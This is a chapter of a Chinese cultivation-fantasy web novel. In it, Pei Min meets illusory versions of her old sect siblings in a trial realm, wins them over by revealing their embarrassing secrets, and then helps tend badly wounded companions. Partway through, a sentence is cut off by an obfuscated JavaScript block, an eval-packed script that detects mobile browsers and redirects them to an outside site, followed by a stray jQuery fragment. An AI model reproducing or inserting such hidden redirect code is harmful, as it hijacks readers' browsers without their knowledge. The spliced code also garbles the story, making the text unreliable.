一阵眩晕后,裴悯稳稳落在一片白茫中,吵闹的声音破开雾气,传入耳边。
“二师姐这手气也太背了。”
吊儿郎当的少年穿着一袭雀蓝春衫,金带连环,没骨头似的倚在师兄身上,除了那双飞扬的眼睛,浑身上下都透露着懒散。
“大哥别说二哥。明望你上回手气也不怎么样。”
娃娃脸少女站在最中间,杏眼雪腮,眼底透着不谙世事的懵懂,瞧着是天真烂漫,“反正都要对上的。”
“站好。”挟仙剑的剑鞘戳了戳明望,沈遗没好气地把明望从谢长生身上扒拉开,“这可是大比,输赢还在其次,主要不能丢脸。”
“丢脸了要被嘲笑到下一个丢脸的人出现的。”短发少年握紧了手里的银枪,认真道。
裴悯觉得丢不丢脸倒是其次,她能不能活下来还是个问题。
从沈遗到她自己,没一个好对付的。
“怎么只有一个人?”明望十指交握,身体整个向上伸展,仰了仰头,“那速战速决吧。”
裴悯麻木地侧身一躲,原本站立的地方出现一个灵力漩涡。
“咦,躲过了?”
裴悯听见自己疑问的声音。
能躲不过嘛。
她可太熟了。
还没喘息片刻,耳边传来凌厉的破空声,裴悯双膝一弯,身躯几乎是贴着地面擦过,银枪精致的花纹略过裴悯的鼻尖。
很久没和断玉这么亲密接触了。
不行,人不能被动挨打。
还是打感情牌吧。
“大师兄手下留情!”裴悯飞快地往自己身上贴了张符,挡住沈遗一剑,“自己人。”
“别乱攀亲戚啊。”明望惊鸿决踩得飞快,闪到裴悯身后,灵力凝出一道雷光,打向裴悯后腰,“谁跟你自己人?”
裴悯像背后长了双眼睛似的,灵力运转,雷光扑了个空。
“停!”裴悯高声威胁道,“不然就把昨晚背着师父师伯,偷溜出去逛夜市的事儿捅出去。”
落在裴悯身上地攻击顿时一停。
然后变得更加疯狂。
“事已至此,”裴慈心拔出了掩日,“不能让她说出去。”
她就知道。
裴悯惊鸿决转到极致。
“明望!你昨晚上出来的时候确定没被闻声发现?”
商仪景怒斥明望。
“不可能。”明望一边追杀裴悯,一边反驳道,“昨晚走的是慈心的传送符,哪儿有露马脚的可能。”
“可你付钱的时候用的是你爹的玉牌。”裴悯险之又险地躲过一剑一枪,幽幽地补充。
“等等。”郁拂霜沉声拦下正要加入战局的沈遗,“听听她怎么说。”
总算是结束了。
从没觉得自己这么可恶过。
裴悯灵力耗尽,毫无形象可言地坐在地上,解释像连珠炮似的弹出去。
“我是裴悯,别惊讶,是一百年后的裴悯,一觉醒来……”
“就这样。”
“你的意思是一百年后玄同宗没了?”
沈遗痛心疾首。
“并且我们还都不见了?”
谢长生睁目结舌。
“你金丹还消失了?”
商仪景嘘寒问暖。
“你还活着吗?”
明望诅咒师妹,换来郁拂霜和沈遗的两个爆栗。
“所以我一百年后就渡劫了!”
十五岁的裴慈心欢天喜地,落得和四师兄一个下场。
“……对,以上内容均无错处。”裴悯实在是有些不想承认这是自己。
“我怎么那么不信呢?”
明望大胆猜测,没有求证,直接定论,“问清宗派来干扰我们视线的吧。”
“事到如今,我也没有什么可瞒的了。”
面对六双怀疑的眼睛,裴悯决定和盘托出。
“你小时候玩爆竹,说要给二师姐表演神之一脚,结果山上下雪脚上打滑一屁股坐在爆竹上,在床上趴了三天。”
沈遗默默收起了挟仙剑。
“你短发的原因是炼器的时候,经常控制不好火候,烧到头发只剩这么短了。”
谢长生收起了断玉枪。
“你……”
裴悯目光转向明望,刚才打她四师兄最积极,裴悯当即拍板,放个大招。
“你小名叫娇娇。”
明望悲愤欲绝,拍腿而起,“裴慈心!说过这个名字不许再提。”
商仪景和郁拂霜两人一左一右拽着明望,“冷静,冷静,又不是什么秘密。”
“那我呢?”裴慈心好奇地看着裴悯。
最大的问题来了。
一百年后的裴悯,要怎么让十五岁的自己,相信她们是一个人。
裴悯想也没想,张口就来,“你喜欢——”
话还没说出口,一把被裴慈心捂着嘴扑到地上,裴慈心耳尖泛起一点热意,瞪大了眼睛。
“不许说!”
裴悯点头如捣蒜,在嘴边做了个保密的手势。
活下来了,真好。
裴悯坐起身刚喘了两口气,就看见五双眼睛齐刷刷地盯着她,眼里闪耀着八卦的光辉。
“你喜欢什么呀小慈心。”
明望夹着嗓子套话。
死贫道不死道友,裴悯决定出卖明望来保守秘密。
“我喜欢大晚上不睡觉晒月亮,然后偶然看见四师兄抱着灵兔,大晚上偷偷摸摸吃小师姐药田里的灵药!”
“没有偷偷摸摸!”
明望反驳不成,不打自招。
“我就说我的灵药怎么消耗地这么快,原来是你啊师兄。”
商仪景摩拳擦掌向师兄。
“就一次,就一次。”
“欸,疼!”
“兔子是大师兄的,他出钱雇我干的!”
“谢长生快来帮我!”
战局一时十分混乱。
……
闹够了,沈遗想起正事来,清了清嗓子问道。
“所以我们要怎么做你才能通关?”
“我觉得吧。”裴悯摸了摸下巴,做思考状,“应该是打赢你们。”
“那还等什么?”明望挣扎着逃离商仪景和谢长生的魔爪,迫不及待地“赴死”,“赶紧!”
“那我来了?”
片刻后,裴悯看着眼前直溜溜站成一排堪比军营的师兄师姐。
“来!”
异口同声,铿锵有力,积极就义。
掩日轻柔地挥出一剑。
剑锋连雾气都没打散,面前的六人就神色各异地集体往后一倒。
“死”得很安详。
俨然一副寿终正寝之相。
“等一下。”
“还有句遗言没说。”
明望突然诈尸,顷刻间仰卧起坐,颇为入戏。
下一秒就冲着裴悯高声喊道,“如果你悬赏找人除了卫衍星我一定要是赏金最贵的那个!”
然后又板直地向后一倒。
看起来遗愿已了。
动作太快,沈遗和谢长生甚至没来及拉住他。
“没脸没皮明娇娇。”
耳边传来商仪景嘀嘀咕咕的吐槽声。
裴悯舒然一笑,看着逐渐虚化,散成光点的六人,眼底聚起三分怅惘。
白雾聚起的最后一瞬,裴悯听见六个不同的声音对她说——
“注意安全,找到我们!”
会的。
一定会的。
裴悯在心底郑重地许下承诺。
“怎么回事?”
阿孟猛地坠落在地,看着空荡荡的练武场止不住地疑惑,“玄同宗亲传呢?”
越青也骤然出现在练武场上。
“在这呢。”
裴悯默默伸手,阿孟看见她,下意识祭出刀往后退了一步。
意识到这不是光幕里的裴悯,歉疚一笑。
“不好意思应激了,刚刚你下手最黑,不得不防。”
“……没关系。”
裴悯很有自知之明,她在阿孟身上看到了几道熟悉的伤口。
“一个人通关,选了这个宗的都会通关。”
越青皱了皱眉头,“那方才选错了的。”
“选错了?”
裴悯疑惑。
“那个NPC说一个宗最多只能三个人选,所以你进去之后,我们商量了一下,认为难度可能和宗门排名有关。”
“阿姐带着陆昱去了风鹤宗,季浮去了月岚宗。”
阿孟懊恼道,“早知道应该把那个少爷塞进玄同宗的。”
这话怎么听起来那么奇怪。
玄同宗是你想进就能进的吗?
“别急——”裴悯安慰的话还没说完,三道血肉模糊的影子砸在地面上。
“阿姐!”
阿孟看见浑身是伤的程素,七魂六魄散了大半,颤抖着跪在地上,掏出丹药往程素嘴里接连塞了几颗,想着捏碎往伤口上撒,可浑身上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053384|176270||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下几乎没一块好肉,甚至挑不出哪儿伤得最重。
“还有气。”
“他死了。”
裴悯和越青探查完另外两个人。
不知是听到声音还是丹药起了效,程素强撑着睁开眼,艰难对着阿孟道,“去,去救陆昱,东西还没拿到,他不能死。”
才说了一句,又晕过去。
“陆昱,陆昱?”阿孟抹了把眼泪,四处张望着,她已经精神恍惚了。
“还有气,喂了丹药了。”
裴悯安抚着阿孟,眉头紧锁,面色凝重,“情况不妙,我们没有医修,他们内外伤都很严重。”
“阿姐?阿姐!”
“哥——”
又是两声惊呼。
季浮和护卫弟弟踉跄两步,分别扑向各自的家人。
又是大把大把的丹药灌下去,程素和陆昱的情况才算是稍微稳定了些,意识却依旧不清醒。
裴悯长长叹了口气,眉心止不住地跳动,双指捏了捏鼻梁。
这样下去不是办法,得赶紧破开这个域。
“来。”越青做了两个简易担架,和季浮一头一尾将两人小心转移到担架上,“先回居所。”
裴悯和阿孟抬着担架向外走,陆昱的前护卫呆滞地坐在地上,双目颓败,连泪也哭干了。
“节哀。”
裴悯细碎的声音飘散在风中,护卫张了张嘴,嗓子里只能发出啊啊的低鸣,眼泪又从眼眶里滑落。
意外就这么接二连三加四逢五乘六地出现。
裴悯在心底叹了口气,斜靠在门前半合着眼,手指抚上睛明穴,云层黑压压地往下沉。
“吱呀。”
一只包着绷带的手推开木门,却迟迟不见人影。
“阿孟?”裴悯疑惑出声。
片刻沉默后,木门被砰地一声甩开,阿孟颤抖的悲号直冲云霄,“我杀了他们!”
“哎?”裴悯侧身挡在阿孟身前,按住她拔刀的手,“冷静,冷静。”
“阿孟!”季浮步履匆匆,身上的伤还来不及包扎,手上粘的血也不知是自己的,还是程素的,冲着裴悯二人点了点头,“谢谢。”
转身拉着阿孟压低声音道,“你要杀了谁?那群NPC吗?且不说杀不杀得完,就是杀完了,就能出去了吗?”
阿孟攥紧了拳头,手臂上的青筋暴起,还未痊愈的伤口渗出血来。
“阿姐不会想看见你白白送命,你现在应该做的是冷静下来,恢复灵力或者思考对策都比横冲直撞有用得多。”
安抚性地拍了拍阿孟因恐惧而战栗的脊背,季浮冷凝的声音逐渐软化,“别怕,会没事的。去照顾好阿姐。”
木门又一次关上,阿孟睁着双血红的眼睛进了屋。
“不好意思。”阿孟冷静下来,季浮也松了口气,他眨了眨眼掩去眼底的疲倦,犹豫再三后开口,“裴道友,我们之间的合作……如果你现在反悔,我和阿孟都不勉强。”
“我没有临时抛弃队友的习惯。”闻言,裴悯挑了挑眉,溢出一丝轻笑,“你也不必来试探我。”
“或许有别的通关方式也不一定……还没想好。”面对季浮眼中的尴尬,裴悯懒散地打了个呵欠,留给他一道背影,“睡一觉说不定就想出来了。”
会没事的。
季浮这么安慰阿孟,却怎么也安抚不了自己。
房中照明阵没有打开,只点了一盏油灯,豆大的火焰在黑暗中跃动。
阿孟在仅有的光亮下一遍遍擦着刀,雪白刀光映射着她眼底的血红。
季浮缓缓在床边坐下,看着昏迷不醒的阿姐和陆昱,心中的恐惧一点也不比阿孟少。
暂时来看,裴悯和越青还是可信的。
可他们要如何破局?
阿姐和陆昱的情况都不好,把所有丹药都给阿姐用也不过能撑三天。
何况东西还没拿到,陆昱的命也要保。
一道惊雷划过天幕,短暂的明亮后大雨滂沱而下,风沿着大开的窗户灌进来,烛火在风雨中摇曳。
季浮在雨声中惊醒。
他如一个老旧的木偶,一卡一卡地站起身,窗户被啪嗒一声关上,指尖沿着窗框滑落,他回头看向灯下的阿孟。
最最坏的情况,如果阿姐真的……
那他要怎么做,才能最大限度地保住阿孟的命?
季浮顺着墙坐在地上,呼出一口浊气,雨声如鬼也哭,隔着窗棂而显得模糊。
裴悯说的没错,他该睡一觉了。